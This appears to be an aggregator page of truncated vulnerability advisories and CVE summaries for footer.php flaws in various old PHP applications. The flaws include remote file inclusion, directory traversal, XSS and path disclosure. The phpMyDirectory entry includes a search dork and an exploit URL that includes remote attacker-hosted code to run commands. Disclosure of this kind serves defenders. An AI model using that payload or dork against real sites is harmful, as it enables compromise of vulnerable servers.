phpGreetz <= 0.99 (footer.php) Remote File Include Vulnerability

No description provided by source. Author: [email protected] mozi phpGreetz Remote File Inclusion Vulnerability Greetz: Raver phpfreaks eu.undernet.org Greetz: SpiderZ , fUSiON ---------------------------------------------------------------- Download:...

PHPGreetz 0.99 - footer.php Remote File Inclusion

PHPGreetz 0.99 - footer.php Remote File Inclusion Author: [email protected] mozi phpGreetz Remote File Inclusion Vulnerability Greetz: Raver phpfreaks eu.undernet.org Greetz: SpiderZ , fUSiON ---------------------------------------------------------------- Download:...

CVE-2006-4878: Undefined Security Weakness

Directory traversal vulnerability in footer.php in David Bennett PHP-Post PHPp 1.0 and earlier allows remote attackers to read and include arbitrary local files via a .. dot dot sequence in the template parameter. NOTE: this was later reported to affect 1.0.1, and demonstrated for code execution ...

CVE-2006-4885: Undefined Security Weakness

PHP remote file inclusion vulnerability in Shadowed Portal 5.599 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the root parameter in 1 footer.php and 2 header.php. NOTE: the provenance of this information is unknown; the details are obtained from third party...

CVE-2006-4880: Undefined Security Weakness

David Bennett PHP-Post PHPp 1.0 and earlier allows remote attackers to obtain sensitive information via a direct request for 1 footer.php, 2 template.php, or 3 lastvisit.php, which reveals the installation path in various error messages...

CVE-2006-4743: Undefined Security Weakness

WordPress 2.0.2 through 2.0.5 allows remote attackers to obtain sensitive information via a direct request for 1 404.php, 2 akismet.php, 3 archive.php, 4 archives.php, 5 attachment.php, 6 blogger.php, 7 comments.php, 8 comments-popup.php, 9 dotclear.php, 10 footer.php, 11 functions.php, 12...

CVE-2006-3186: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in CMS Faethon 1.3.2 allow remote attackers to inject arbitrary web script or HTML via the mainpath parameter to 1 data/footer.php and 2 admin/header.php. NOTE: the provenance of this information is unknown; the details are obtained from third par...

CVE-2006-3091: Undefined Security Weakness

PhpMyFactures 1.0, and possibly 1.2 and earlier, allows remote attackers to obtain the installation path via a direct request to 1 /verif.php, 2 /inc/footer.php, and 3 /remises/ajouterremise.php...

CVE-2006-2982: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in Enterprise Timesheet and Payroll Systems EPS 1.1 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the absolutepath parameter in 1 footer.php and 2 admin/footer.php...

phpmydir1044.txt

ENGLISH Title : phpMyDirectory = 10.4.4 Multiple Remote File Include Vulnerabilities Dork : "powered by phpmydirectory" Author : ajann greetz : Nukedx,TheHacker Exploit; http://target/path/template/default/footer.php?ROOTPATH=http://yourhost.com/cmd.txt?cmd=ls...

CVE-2006-1233: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in WMNews allow remote attackers to inject arbitrary web script or HTML via the 1 ArtCat parameter to wmview.php, 2 ctrrowcol parameter to footer.php, or 3 ArtID parameter to wmcomments.php...

CVE-2006-0891: Undefined Security Weakness

Multiple directory traversal vulnerabilities in NOCC Webmail 1.0 allow remote attackers to include arbitrary files via .. dot dot sequences and a trailing NULL %00 byte in 1 the SESSION'nocctheme' parameter in a html/footer.php; and 2 the lang and 3 theme parameters and the 4 Accept-Language HTTP...

CVE-2006-0894: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in NOCC Webmail 1.0 allow remote attackers to inject arbitrary web script or HTML via 1 the htmlerroroccurred parameter in error.php, 2 htmlfilterselect parameter in filterprefs.php, 3 htmlnomail parameter in nomail.php, the 4 pageline, 5 prev, an...

CVE-2006-0183: Undefined Security Weakness

Direct static code injection vulnerability in edit.php in ACal Calendar Project 2.2.5 allows authenticated users to execute arbitrary PHP code via 1 the edit=header value, which modifies header.php, or 2 the edit=footer value, which modifies footer.php. NOTE: this issue might be resultant from th...

Information disclosure

boastMachine 3.1 allows remote attackers to obtain sensitive information via a direct request to 1 footer.php and 2 sidemenu.php, which reveals the path in an error message...

CVE-2006-0131: Undefined Security Weakness

boastMachine 3.1 allows remote attackers to obtain sensitive information via a direct request to 1 footer.php and 2 sidemenu.php, which reveals the path in an error message...

CVE-2005-3237

Cross-site scripting XSS vulnerability in Cyphor 0.19 allows remote attackers to inject arbitrary web script or HTML via the tlogin parameter of footer.php...

CVE-2005-3200: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in Utopia News Pro UNP 1.1.3 and 1.1.4 allow remote attackers to inject arbitrary web script or HTML via 1 the sitetitle parameter in header.php and 2 the version and 3 querycount parameters in footer.php...

CVE-2005-3237: Undefined Security Weakness

Cross-site scripting XSS vulnerability in Cyphor 0.19 allows remote attackers to inject arbitrary web script or HTML via the tlogin parameter of footer.php...

Cyphor 0.19 - 'footer.php?t_login' Cross-Site Scripting

source: https://www.securityfocus.com/bid/15047/info Cyphor is prone to multiple cross-site scripting and SQL injection vulnerabilities. Exploitation could allow for theft of cookie-based authentication credentials or unauthorized access to database data. Other attacks are also possible...